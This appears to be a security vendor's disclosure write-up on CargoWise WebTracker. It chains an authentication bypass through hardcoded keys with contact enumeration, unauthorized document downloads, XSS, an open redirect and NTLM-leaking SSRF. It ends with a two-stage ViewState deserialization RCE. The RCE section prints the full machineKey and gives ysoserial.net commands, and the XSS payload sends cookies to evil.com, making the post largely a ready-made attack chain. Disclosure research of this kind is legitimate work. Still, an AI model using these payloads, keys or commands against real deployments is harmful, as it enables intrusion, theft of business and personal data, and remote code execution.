June 25, 2026

CargoWise WebTracker – The Keys Were in the Cargo

WiseTech Global develops CargoWise, one of the most widely deployed logistics software platforms in the world. It is used by freight forwarders, customs brokers, warehousing operators and shipping lines across 160+ countries. As part of CargoWise, a customer-facing web portal called WebTracker (version 25.12.3.632 at time of testing) allows external contacts — consignees, shippers, third-party agents — to track shipments, view documents, accept quotes and manage bookings. Each CargoWise customer deploys their own WebTracker instance on their own domain, but the underlying application is the same ASP.NET WebForms codebase shipped as a set of compiled DLLs from WiseTech.

 

A note on redaction

We were asked by WiseTech to redact two of the hardcoded key, specifically the ones used by the crypto functions in TripleDESCryptoServiceProviderExtensions and TwoWayEncoder. WiseTech indicated that these credentials may still be in use in other products across their stack, and that exposing them at this stage would be harmful while remediation is ongoing. Their teams are still working through further mitigations, and we agreed to hold these two keys back.

 

Hardcoded Keys

Two hardcoded symmetric keys protect the entire application.

The file TripleDESCryptoServiceProviderExtensions.cs contains an extension method called InitializeForCargoWise(). Every TripleDES instance in the application is initialized through this method:

public static void InitializeForCargoWise(this SymmetricAlgorithm provider)
{
    MD5 mD = MD5.Create();
    provider.Key = mD.ComputeHash(Encoding.ASCII.GetBytes(
        "[REDACTED]"
    ));
    provider.IV = new byte[8] { /* REDACTED */ };
}

The passphrase and IV are compile-time constants. The key is derived by taking the MD5 hash of the passphrase, then using the first 16 bytes + the first 8 bytes again to form a 24-byte 3DES key. This key protects the SecureQueryString class, which encrypts and decrypts query string parameters throughout the application — authentication tokens, document handler parameters, error page messages, and redirect URLs.

A second hardcoded key exists in TwoWayEncoder.cs for AES-256-CBC:

private readonly byte[] Key = Encoding.ASCII.GetBytes("[REDACTED]");

The IV is derived from a hardcoded GUID ([REDACTED]) by stripping dashes, lowercasing, and taking a 16-character substring. .

Authentication Bypass

WebTracker has an “auto-login” feature designed for email links. When CargoWise sends a tracking email to a customer, it includes a link with an encrypted token so the recipient can click through without entering a password. The handler for this lives in AutoLoginRequestHandler.cs:

public class AutoLoginRequestHandler : IHttpHandler, IRequiresSessionState
{
    public void ProcessRequest(HttpContextBase context)
    {
        string text = context.Request.QueryString["AutoLogin"];
        SecureQueryString secureQueryString = new SecureQueryString(text);
        ZGuid contactPK = new ZGuid(secureQueryString["ContactPK"]);

        bool result = false;
        if (!bool.TryParse(secureQueryString["RequireLogin"], out result))
            result = false;

        // ...
        zWebController.RedirectToTrackingPage(contactPK, businessContext,
            ZString.Empty, result, text);
    }
}

The handler reads an encrypted AutoLogin parameter, decrypts it with the hardcoded 3DES key, extracts a ContactPK (a GUID identifying a contact in the CRM), and passes it to ZWebController.RedirectToTrackingPageCore(). This is where the session gets created:

private void RedirectToTrackingPageCore(ZGuid contactPK, string targetUrl,
    bool requireLogin = false, string queryStringData = null)
{
    OrgContact orgContact = Factory.Load<OrgContact>(contactPK);
    bool flag = orgContact != null && orgContact.Header != null;

    ZString zString4 = (flag ? orgContact.OC_Email : ((ZString)"CWWeb"));

    if (!webUser.IsLoggedIn)
    {
        webUser.Login(zString2, zString4, User.WebTransientPassword);
        FormsAuthentication.SetAuthCookie(zString4, createPersistentCookie: false);
    }

    RedirectToTrackingPageCore(targetUrl);
}

The contact is loaded from the database by PK. If it doesn’t exist, the code falls through to the default username "CWWeb". Critically, FormsAuthentication.SetAuthCookie() is called regardless — even for a non-existent contact. The .ASPXAUTH cookie is issued before any meaningful validation.

The token format is straightforward:

ContactPK={guid}&RequireLogin=false&__TimeStamp__=2079-06-06 00:00:00Z

The __TimeStamp__ field is checked against DateTime.UtcNow in SecureQueryString.DeserializeCore(). Setting it to year 2079 (which happens to be the class’s own default value) ensures the token never expires.

Since we have the 3DES key, we can encrypt any token we want:

import hashlib, base64, urllib.parse
from cryptography.hazmat.primitives.ciphers import Cipher, modes
from cryptography.hazmat.decrepit.ciphers.algorithms import TripleDES
from cryptography.hazmat.primitives import padding

PASSPHRASE = b"[REDACTED]"
IV = bytes([])  # REDACTED
kh = hashlib.md5(PASSPHRASE).digest()
KEY = kh + kh[:8]

def encrypt_3des(plaintext):
    data = plaintext.encode("ascii")
    p = padding.PKCS7(64).padder()
    padded = p.update(data) + p.finalize()
    enc = Cipher(TripleDES(KEY), modes.CBC(IV)).encryptor()
    return base64.b64encode(enc.update(padded) + enc.finalize()).decode("ascii")

token = encrypt_3des(
    "ContactPK=00000000-0000-0000-0000-000000000001"
    "&RequireLogin=false"
    "&__TimeStamp__=2079-06-06 00:00:00Z"
)

url = (
    "https://<target>/Tracking/"
    "AutoLoginRequestHandler.axd"
    f"?AutoLogin={urllib.parse.quote(token, safe='')}"
    "&ClientRedirection=TRUE"
)

The resulting URL authenticates anyone who clicks it:

GET /Tracking/AutoLoginRequestHandler.axd?AutoLogin=<encrypted> HTTP/1.1
Host: <target>

-->

HTTP/1.1 302 Found
Set-Cookie: .ASPXAUTH=<hex>; path=/; HttpOnly
Location: /Tracking/Default.aspx

The ContactPK in this token is 00000000-0000-0000-0000-000000000001 a GUID we chose arbitrarily. It does not need to correspond to any real contact because when Factory.Load<OrgContact>() fails to find this PK in the database, the code falls back to the hardcoded username "CWWeb" and calls FormsAuthentication.SetAuthCookie() anyway. Any non-existent GUID triggers the same fallback.

Session Persistence on Handler Endpoints

AutoLoginRequestHandler implements IHttpHandler directly — it’s an .axd handler, not an ASP.NET Page. This distinction matters because BasePageWithAuthorisation.OnUnload() contains a session cleanup mechanism:

protected override void OnUnload(EventArgs e)
{
    session["AutoLoginQueryStringData"] = null;
    TrackingSiteUser siteUser = base.SiteUser;
    if (siteUser != null && siteUser.IsShipmentQuickViewUser)
    {
        FormsAuthentication.SignOut();
        siteUser.Logout();
        session?.Abandon();
    }
}

IsShipmentQuickViewUser returns true when the logged-in user’s organisation matches the deploying company’s own organisation — which is the case for the CWWeb fallback user. This means the .ASPXAUTH cookie is cleared after each .aspx page renders.

However, OnUnload only fires on ASP.NET Page subclasses. The .axd handlers (IHttpHandler), .ashx handlers, and .asmx WebService endpoints never enter the Page lifecycle. The forged session persists indefinitely across these endpoints.

Organization Enumeration

The AutoCompleteTextBoxRequestHandler.ashx handler dynamically instantiates helper classes to search the database. The helper parameter is encrypted with the hardcoded AES-256 key:

public void ProcessRequest(HttpContext context)
{
    string typeName = queryParamsEncoder.Decrypt(context.Request["helper"]);
    AutoCompleteHelper autoCompleteHelper =
        (AutoCompleteHelper)Activator.CreateInstance(Type.GetType(typeName), new object[1]);
    autoCompleteHelper.MaxOptionsCount = int.Parse(
        queryParamsEncoder.Decrypt(context.Request["count"]));
    List<string> list = autoCompleteHelper.GetList(textToSearch);
    // ...renders HTML <li> items with PKs
}

Since this is an .ashx handler (implements IHttpHandler), the forged session persists across calls. Since we have the AES key, we can encrypt any .NET type name for the helper parameter.

The OrgHeaderAutoCompleteHelper searches organizations. When called with the forged session, it returns the deploying company’s organization — because the CWWeb fallback user is associated with it:

private ZDBOnlyQuery GetOrgRestrictionQuery()
{
    ZGuid oC_OH = ((OrgContact)WebEnv.CurrentUser).OC_OH;
    zDBOnlyQuery.AddToFilter(OrgHeaderSchema.PK, oC_OH);
    // + supplier/buyer links if IsConsignor/IsConsignee flags set
}
POST /Tracking/AutoCompleteTextBoxRequestHandler.ashx HTTP/1.1
Host: <target>
Cookie: .ASPXAUTH=<forged>
Content-Type: application/x-www-form-urlencoded

helper=<AES encrypted type name>&count=<AES encrypted "200">&value=

-->

HTTP/1.1 200 OK
Content-Type: text/plain

<li><span><redacted org name> <span style="display:none"><org-pk></span> <org-code></span></li>

Supplier/Buyer Link Enumeration

The OrgHeaderAutoCompleteHelper accepts serialized parameters that control supplier/buyer filtering:

public override void RestoreAdditionalParamsFromSerializedString(string serializedParamsString)
{
    string[] array = serializedParamsString.Split(',');
    IsConsignor = bool.Parse(array[0]);
    IsConsignee = bool.Parse(array[1]);
    NewOrgRelationType = (NewOrgRelationTypes)Enum.Parse(typeof(NewOrgRelationTypes), array[2]);
}

When IsConsignor or IsConsignee is set, the query expands to include organizations linked through the OrgSupplierBuyerLink table:

if (IsConsignor)
{
    ZDBOnlySubQuery zDBOnlySubQuery = new ZDBOnlySubQuery(
        typeof(OrgSupplierBuyerLink), OrgSupplierBuyerLinkSchema.OL_OH_Supplier);
    zDBOnlySubQuery.AddToFilter(OrgSupplierBuyerLinkSchema.OL_OH_Buyer, oC_OH);
    zDBOnlyQuery.AddSubQuery(OrgHeaderSchema.PK, zDBOnlySubQuery, JoinCondition.Or);
}

By passing params="True,True,Unknown" (both consignor and consignee flags set), the helper returns not just the deploying company but every organization linked to it as a supplier or buyer:

data = {
    "helper": encrypt_aes(ORG_HELPER),
    "count":  encrypt_aes("500"),
    "value":  "A",
    "params": encrypt_aes("True,True,Unknown"),
}

With both flags set, the query returns not just the deploying company but every organization linked to it as a supplier or buyer. Each result includes the organization name, PK, and company code. On any deployment with active trading relationships, this turns a single organization into a full directory of business partners.

Contact & Address Enumeration

The organization PK extracted above feeds directly into dependent autocomplete helpers. The OrgContactAutoCompleteHelper and OrgAddressAutoCompleteHelper both extend DependentBizOAutoCompleteHelper, which accepts a parent organization PK through an encrypted params parameter:

public abstract class DependentBizOAutoCompleteHelper : AutoCompleteHelper
{
    public ZGuid ParentPK { get; set; }

    public override void RestoreAdditionalParamsFromSerializedString(string serializedParamsString)
    {
        ParentPK = new ZGuid(serializedParamsString);
    }
}

The contact helper searches by name prefix, filtered to the specified organization:

public class OrgContactAutoCompleteHelper : DependentBizOAutoCompleteHelper
{
    protected override ZQuery GetListFilter(ZString key)
    {
        zDBOnlyQuery.AddToFilter(OrgContactSchema.OC_OH, base.ParentPK);
        zDBOnlyQuery.AddToFilter(OrgContactSchema.OC_ContactName,
            SQLComparisonOperator.StartsWith, key);
        zDBOnlyQuery.AddToFilter(OrgContactSchema.OC_IsActive, ZBool.True);
        return zDBOnlyQuery;
    }
}

By iterating through A–Z as prefixes and passing the organization PK as the encrypted params, we enumerated all active contacts for the organization. The AES encryption for the autocomplete parameters uses UTF-16-LE encoding and URL-safe Base64:

from cryptography.hazmat.primitives.ciphers import Cipher, modes
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives import padding

AES_KEY = b"[REDACTED]"
AES_IV  = b"[REDACTED]"

def encrypt_aes(plaintext):
    data = plaintext.encode("utf-16-le")
    p = padding.PKCS7(128).padder()
    padded = p.update(data) + p.finalize()
    enc = Cipher(AES(AES_KEY), modes.CBC(AES_IV)).encryptor()
    ct = base64.b64encode(enc.update(padded) + enc.finalize()).decode("ascii")
    return ct.replace("=", "!").replace("/", "|").replace("+", "-")

CONTACT_HELPER = "Enterprise.ZArchitecture.Web.Business.OrgContactAutoCompleteHelper, Enterprise.ZArchitecture.Web.Business"

data = {
    "helper": encrypt_aes(CONTACT_HELPER),
    "count":  encrypt_aes("200"),
    "value":  "A",
    "params": encrypt_aes(org_pk),  # org PK from step 2
}
resp = session.post(
    "https://<target>/AutoCompleteTextBoxRequestHandler.ashx",
    data=data
)
POST /AutoCompleteTextBoxRequestHandler.ashx HTTP/1.1
Host: <target>
Cookie: .ASPXAUTH=<forged>
Content-Type: application/x-www-form-urlencoded

helper=<AES encrypted type>&count=<AES encrypted "200">&value=A&params=<AES encrypted org PK>

-->

HTTP/1.1 200 OK

<li><span>John Smith <span style="display:none">44434cbf-c2ac-4d60-8ab1-049f6e8d38f0</span></span></li>
<li><span>Alice Chen <span style="display:none">4dbb2c03-936e-4f80-b90d-19dd305e2c9d</span></span></li>
...

The same approach applies to OrgAddressAutoCompleteHelper for physical addresses and OrgAddressReceivablesAutoCompleteHelper for billing addresses — full street details, address codes, and PKs.

Since the organization enumeration returns all linked trading partners, we can enumerate contacts for each of them by iterating through A–Z with their org PK as the params value. Each external organization yields its own set of contacts — real employee names and PKs. These contacts are critical for the next step.

Pivoting to Full Page Access

The CWWeb fallback session (from the dummy GUID) has a limitation: the IsShipmentQuickViewUser check in OnUnload() kills the session after any .aspx page renders, restricting us to handler endpoints. But the contacts we just enumerated from external organizations provide a way around this.

public bool IsShipmentQuickViewUser
{
    get
    {
        if (base.IsLoggedIn && (base.IsSuperUser || base.IsWebUser))
        {
            return base.LoggedInUser.OC_OH == GlbCompany.CurrentCompany.OrgProxy.PK;
        }
        return false;
    }
}

IsShipmentQuickViewUser returns true when the logged-in user’s organization (OC_OH) matches the deploying company’s org PK. The CWWeb user is associated with the deploying company, so the check fires and the session is killed. But a contact from an external organization — one of the trading partners we just enumerated — has a different OC_OH. For these contacts, IsShipmentQuickViewUser returns false, and the session cleanup in OnUnload() never executes.

When AutoLoginRequestHandler receives a ContactPK that exists in the database, the code at line 90-94 of ZWebController loads the real contact and logs in using their email and their organization’s company code — not the CWWeb fallback:

OrgContact orgContact = Factory.Load<OrgContact>(contactPK);
bool flag = orgContact != null && orgContact.Header != null;
// flag is true for real contacts
ZString zString4 = (flag ? orgContact.OC_Email : ((ZString)"CWWeb"));

So we forge a new AutoLogin token using a real contact PK from an external organization:

token = encrypt_3des(
    "ContactPK=<contact-pk-from-external-org>"
    "&RequireLogin=false"
    "&__TimeStamp__=2079-06-06 00:00:00Z"
)
GET /Tracking/AutoLoginRequestHandler.axd?AutoLogin=<encrypted> HTTP/1.1
Host: <target>

-->

HTTP/1.1 302 Found
Set-Cookie: .ASPXAUTH=<hex>; path=/; HttpOnly
Location: /Tracking/Default.aspx

This time, the session is authenticated as the external contact’s email, not CWWeb. Following the redirect to Default.aspx, which redirects to Shipments.aspx — the page renders, OnUnload() fires, IsShipmentQuickViewUser evaluates to false, and the session survives.

We confirmed this by following the full redirect chain:

1. AutoLoginRequestHandler.axd  → 302, .ASPXAUTH set
2. Default.aspx                 → 302 → /Tracking/Shipments/Shipments.aspx, auth=YES
3. Shipments/Shipments.aspx     → 200, 192KB, auth=YES ← session survived page render

For comparison, the dummy GUID (CWWeb user) hitting the same page:

1. AutoLoginRequestHandler.axd  → 302, .ASPXAUTH set
2. Default.aspx                 → 302 → /Tracking/Shipments/Shipments.aspx, auth=YES
3. Shipments/Shipments.aspx     → 200, 187KB, auth=NO  ← session killed by OnUnload()

With a surviving session on .aspx pages, Shipments.aspx renders the full shipment list for the external contact’s organization. The page source contains shipment GUIDs — the PKs needed by every document handler.

The complete chain is now:

  1. Forge session with dummy GUID → enumerate organizations via autocomplete (including all trading partners)
  2. Enumerate contacts for external organizations → real contact PKs
  3. Forge session with external contact PK → session survives .aspx pages
  4. Browse Shipments.aspx → shipment GUIDs from page source

Document Download

With shipment GUIDs in hand, the .axd document handlers become accessible. These all inherit from DataRequestHandler<T> and implement IHttpHandler — the forged session persists across calls.

The FreightLabelRequestHandler and HouseBillRequestHandler inherit from BookingDocumentRequestHandler, which takes a shipment reference PK and looks up the associated booking:

protected override TrackingBooking GetBooking(BusinessObjectFactory factory, ZGuid pk)
{
    return TrackingBooking.GetFromRefPK(factory, pk, ...);
}

The Data parameter is encrypted with 3DES via SecureQueryString:

qdata = encrypt_3des(f"Data={shipment_guid}&__TimeStamp__=2079-06-06 00:00:00Z")
url = f"https://<target>/Tracking/FreightLabelRequestHandler.axd?qdata={quote(qdata)}"
GET /Tracking/FreightLabelRequestHandler.axd?qdata=<encrypted> HTTP/1.1
Host: <target>
Cookie: .ASPXAUTH=<forged>

-->

HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="FreightLabel.pdf"

%PDF-1.4 ...

The handlers perform no organization-level access check — the DataRequestHandler<T> base class reads the Data parameter, splits GUIDs, and passes them to the helper. If the PK exists in the database, the document is returned regardless of which organization it belongs to. A shipment GUID from one organization works from any session.

Each handler accepts different PK types:

Handler PK Type What It Returns
FreightLabelRequestHandler.axd Shipment ref PK Freight label PDF
HouseBillRequestHandler.axd Shipment ref PK House bill PDF
InvoiceRequestHandler.axd Invoice PK Invoice PDF
StatementRequestHandler.axd Organization PK Financial statement PDF
QuoteRequestHandler.axd Quote PK Quotation PDF
eDocsRequestHandler.axd Document PK Scanned document/image

The StatementRequestHandler is notable because it doesn’t need a shipment GUID at all — it takes the organization PK (which we already enumerated in step 2) and generates a financial statement PDF for that company’s transactions.

XSS via Error Page

WebTracker has an error page at Error.aspx that reads an encrypted data parameter and renders it as HTML. The page uses an ASP.NET Literal control:

public class Error : BasePage
{
    protected Literal MessageDescription;

    protected override void OnLoad(EventArgs e)
    {
        if (HttpContext.Current.Request.Params["data"] != null)
        {
            SecureQueryString secureQueryString =
                new SecureQueryString(base.Request["data"]);
            PageTitle.Text = secureQueryString["title"];
            MessageDescription.Text = secureQueryString["message"];
        }
    }
}

A Literal renders its Text property directly into the page with no encoding. Whatever HTML we put in the message field gets rendered raw:

payload = encrypt_3des(
    'title=Important Security Notice'
    '&message=<script>document.location="https://evil.com/?c="+document.cookie</script>'
)
url = f"https://<target>/Tracking/Error.aspx?data={urllib.parse.quote(payload, safe='')}"
GET /Tracking/Error.aspx?data=<encrypted> HTTP/1.1
Host: <target>

-->

HTTP/1.1 200 OK
Content-Type: text/html

...
<script>document.location="https://evil.com/?c="+document.cookie</script>
...

The page inherits from BasePage which has no authentication requirement, so this works without any session. The encrypted URL is indistinguishable from a legitimate error redirect — the application itself generates these URLs through ZGlobal.ReportError() for configuration errors and access denied messages.

Open Redirect

RunUrl.aspx is a simple open redirect with no validation:

public class RunUrl : ZPage
{
    protected override void OnLoad(EventArgs e)
    {
        string text = GetStringFromParameter("Ref");
        if (!string.IsNullOrEmpty(text))
            Response.Redirect(text);
    }
}

The Ref parameter is read directly from the query string — no encryption, no authentication — and passed to Response.Redirect() with no validation. A plain URL is all it takes:

https://<target>/Tracking/RunUrl.aspx?Ref=https://evil.com/phishing

Outbound SSRF (via Network Shares) Leading to NTLM Hash Leakage

In addition to all of the bugs above, our team also discovered a way to chain the authentication bypass with another bug inside the ResourceStringUsageData.axd endpoint, allowing for out of bands calls, ultimately allowing attackers to leak the NTLM credentials of a system through an SMB connection.

The handler for this file was defined as so:

  <add verb="GET" path="ResourceStringUsageData.axd"
       type="Enterprise.ZArchitecture.Web.GUI.WebControls.TranslationFeedbackManager+ResourceStringUsageRequestHandler,
             Enterprise.ZArchitecture.Web.GUI" />

Reading the logic of TranslationFeedbackManager we can see that the handler ResourceStringUsageRequestHandler defines one main method:

public override ZBlob GetBinaryData()
        {
            string resourceStringUsageFile = GetResourceStringUsageFile(QueryString["s"], Guid.Parse(QueryString["Data"]));
            if (!File.Exists(resourceStringUsageFile))
            {
                throw new InvalidQueryStringException("Requested data not found");
            }
            return File.ReadAllBytes(resourceStringUsageFile);
        }

To understand how this is called, we need to dig into the class that it is based off DataRequestHandler<ResourceStringUsageRequesHelper> — reading DataRequestHandler, we can see the following:

public void ProcessRequest(HttpContext context)
    {
        object obj = ((context.Session != null) ? context.Session["SiteUser"] : null);
        using (Db.DisposableActionForDbConnection())
        {
            bool lockTaken = false;
            try
            {
                if (obj != null)
                {
                    Monitor.Enter(obj, ref lockTaken);
                }
                if (QueryString != null && QueryString.Count > 0)
                {
                    PreProcessRequest();
                    byte[] array = RetrieveFromCache(PKs) ?? ((byte[])GetBinaryData());

The GetBinaryData() call would ultimately call TranslationFeedbackManager+ResourceStringUsageRequestHandler.GetBinaryData() which is where our sink exists.

Ultimately, the attack flows like so:

  public override ZBlob GetBinaryData()
  {
      string resourceStringUsageFile = GetResourceStringUsageFile(
          QueryString["s"],                    // attacker-controlled: "\attacker.comc$aaa"
          Guid.Parse(QueryString["Data"])      // attacker-controlled: parsed as Guid
      );
      if (!File.Exists(resourceStringUsageFile))   // SINK: triggers UNC resolution
      {
          throw new InvalidQueryStringException("Requested data not found");
      }
      return File.ReadAllBytes(resourceStringUsageFile);  // secondary sink
  }

The following HTTP request will lead to the pre-auth outbound request, leaking NTLM credentials if the attacker is running tooling such as Responder on their receiving IP/connection:

GET /Tracking/ResourceStringUsageData.axd?s=\attackerhost.comc$a&Data=00000000-0000-0000-0000-000000000000 HTTP/2
Host: example.com
Cookie: .ASPXAUTH=123; WebTracker_SessionId=123;

Remote Code Execution via ViewState Deserialization

Beyond the hardcoded 3DES and AES keys, we found a third hardcoded key with far more severe implications. The Web.Config.Sample shipped with WebTracker contains a static machineKey:

<machineKey
  validationKey="A28194E8124CC6D33F8C2F313E357ED5C835E5105E4337586022126F516C0D99BD0F333DD2056459E3D821877596B2794C4EB42376DAE0996261464E830263C0"
  decryptionKey="A37F1DACCC7E561612359877914304E679160BC7FAA3F92BE1C6A38963BD7B67"
  validation="SHA1"
  decryption="AES" />

The machineKey is used by ASP.NET to encrypt and sign ViewState — the serialized page state sent to the client as a hidden form field on every page load. If an attacker knows the machineKey, they can forge ViewState containing arbitrary serialized objects. When the server deserializes the forged ViewState, those objects are instantiated — leading to remote code execution.

Finding the Right Target

ASP.NET 4.5+ uses purpose-specific key derivation (SP800-108 with HMAC-SHA512) to derive separate encryption and validation keys for each page. The purpose string includes the page’s virtual path, so we needed to identify the exact page path and application path used in production.

More importantly, ASP.NET supports a ViewStateUserKey property that binds ViewState to a specific session. If set, the attacker needs the victim’s session ID to forge a valid ViewState — making unauthenticated exploitation impossible.

In ZPage.cs, the base class for all WebTracker pages, we found:

if (Session != null && !IsLoginPage())
{
    WebUser siteUser = SiteUser;
    if (siteUser != null && siteUser.IsLoggedIn)
    {
        base.ViewStateUserKey = Session.SessionID;
    }
}

The login page is explicitly excluded from ViewStateUserKey protection. This makes Login.aspx the ideal target — its ViewState can be forged without any session, allowing fully unauthenticated exploitation.

Confirming the machineKey

We fetched the login page and extracted the __VIEWSTATE hidden field:

GET /Tracking/Login/Login.aspx HTTP/1.1
Host: <target>

-->

<input type="hidden" name="__VIEWSTATE" value="/wEPDwUKLTEwNjMxMTc2NQ..." />
<input type="hidden" name="__VIEWSTATEGENERATOR" value="0351D242" />

ASP.NET 4.5+ ViewState format is: IV (16 bytes) || AES-256-CBC ciphertext || HMAC-SHA1 (20 bytes). The IV is randomly generated by ASP.NET for each page render and sent in the clear as the first 16 bytes of the blob — it doesn’t need to be secret, just unique per encryption. The __VIEWSTATEGENERATOR field (0351D242) is unrelated to the IV — it’s a static CRC32 hash of the page class name (login_login_aspx), computed at compile time, and tells ASP.NET which page class the ViewState belongs to.

The encryption and HMAC keys are derived from the machineKey using SP800-108, scoped to a purpose string built from the page path:

  • Label: WebForms.HiddenFieldPageStatePersister.ClientState
  • Context (BinaryWriter-encoded): TemplateSourceDirectory: /TRACKING/LOGIN + Type: LOGIN_LOGIN_ASPX

Using these parameters, we successfully decrypted the ViewState from the login page, confirming the machineKey from Web.Config.Sample is used in production. Re-encrypting the same plaintext and POSTing it back returned HTTP 200, confirming we can forge valid ViewState.

ViewState is entirely client-side — the server keeps no record of which ViewState blobs it has issued. The only checks on an incoming ViewState are: does the HMAC signature validate (requiring the validationKey), and does the ciphertext decrypt to valid data (requiring the decryptionKey). Since both keys are hardcoded in Web.Config.Sample, we can encrypt and sign arbitrary content, and the server has no way to distinguish it from a ViewState it generated itself.

Bypassing .NET 4.8 Type Filtering

With a confirmed machineKey and a page with no ViewStateUserKey, the standard approach is to use ysoserial.net to generate a ViewState containing a BinaryFormatter gadget chain (e.g., TypeConfuseDelegate) that executes an OS command on deserialization.

However, the target runs .NET Framework 4.8, which introduced a type allowlist for ObjectStateFormatter deserialization. When we sent a TypeConfuseDelegate payload, the server rejected it — the types in the gadget chain (SortedSet<string>, Comparison<string>) are not on the allowlist.

The bypass is a two-stage attack documented by Nick Landers at NetSPI. The .NET 4.8 type filter is controlled by an internal boolean: System.Workflow.ComponentModel.AppSettings.disableActivitySurrogateSelectorTypeCheck. The ActivitySurrogateDisableTypeCheck gadget in ysoserial.net uses types that are on the allowlist to flip this boolean via reflection, disabling the type filter for subsequent deserialization calls within the same worker process.

The attack requires two separate HTTP requests:

  1. Stage 1 — Disable type filter: Send a ViewState containing the ActivitySurrogateDisableTypeCheck gadget. The server deserializes it, flipping the internal boolean. The server returns HTTP 500 (the gadget intentionally throws), but the side effect persists in the worker process.
  2. Stage 2 — Execute command: Send a ViewState containing a TypeConfuseDelegate gadget with the actual OS command. With the type filter disabled, the server deserializes the full gadget chain and executes the command.

Both payloads are generated with ysoserial.net’s -p ViewState plugin, which handles the SP800-108 key derivation, AES encryption, and HMAC signing internally:

Stage 1 — Disable type filter:

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck \
  -c "ignored" \
  --path="/Tracking/Login/Login.aspx" --apppath="/Tracking/" \
  --decryptionalg="AES" \
  --decryptionkey="A37F1DACCC7E561612359877914304E679160BC7FAA3F92BE1C6A38963BD7B67" \
  --validationalg="SHA1" \
  --validationkey="A28194E8124CC6D33F8C2F313E357ED5C835E5105E4337586022126F516C0D99BD0F333DD2056459E3D821877596B2794C4EB42376DAE0996261464E830263C0" \
  --islegacy --isdebug

Stage 2 — RCE (example: DNS exfiltration of hostname):

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "cmd /c nslookup %COMPUTERNAME%.attacker.oastify.com" \
  --path="/Tracking/Login/Login.aspx" --apppath="/Tracking/" \
  --decryptionalg="AES" \
  --decryptionkey="A37F1DACCC7E561612359877914304E679160BC7FAA3F92BE1C6A38963BD7B67" \
  --validationalg="SHA1" \
  --validationkey="A28194E8124CC6D33F8C2F313E357ED5C835E5105E4337586022126F516C0D99BD0F333DD2056459E3D821877596B2794C4EB42376DAE0996261464E830263C0" \
  --islegacy --isdebug

Each command outputs a base64-encoded ViewState. The POST request is straightforward:

POST /Tracking/Login/Login.aspx HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

__VIEWSTATE=<url-encoded ysoserial output>&__VIEWSTATEGENERATOR=0351D242

Stage 1 returns HTTP 500 (expected). After a 10-second pause, Stage 2 returns HTTP 500 as well — but the command executes before the exception is thrown.

Each Stage 1 disable only affects one IIS worker process. If the Stage 2 request is routed to a different worker, the type filter is still active and the payload fails silently. For reliable exploitation, Stage 1 and Stage 2 should be sent in quick succession to maximize the chance of hitting the same worker, with a ~10 second gap to avoid overwhelming the application pool.

About Searchlight Cyber

Customers of Searchlight Cyber’s ASM solution, Assetnote, are always first to receive checks for the novel vulnerabilities we discover – often weeks or months before public disclosure. Our Security Research Team continues to dig beyond public PoCs to deliver high-signal detections to our platform. Learn more.

in this article

Book your demo: Identify cyber
threats earlier– before they
impact your business

Searchlight Cyber is used by security professionals and leading investigators to surface criminal activity and protect businesses. Book your demo to find out how Searchlight can:

Enhance your security with advanced automated dark web monitoring and investigation tools

Continuously monitor for threats, including ransomware groups targeting your organization

Prevent costly cyber incidents and meet cybersecurity compliance requirements and regulations

Fill in the form to get you demo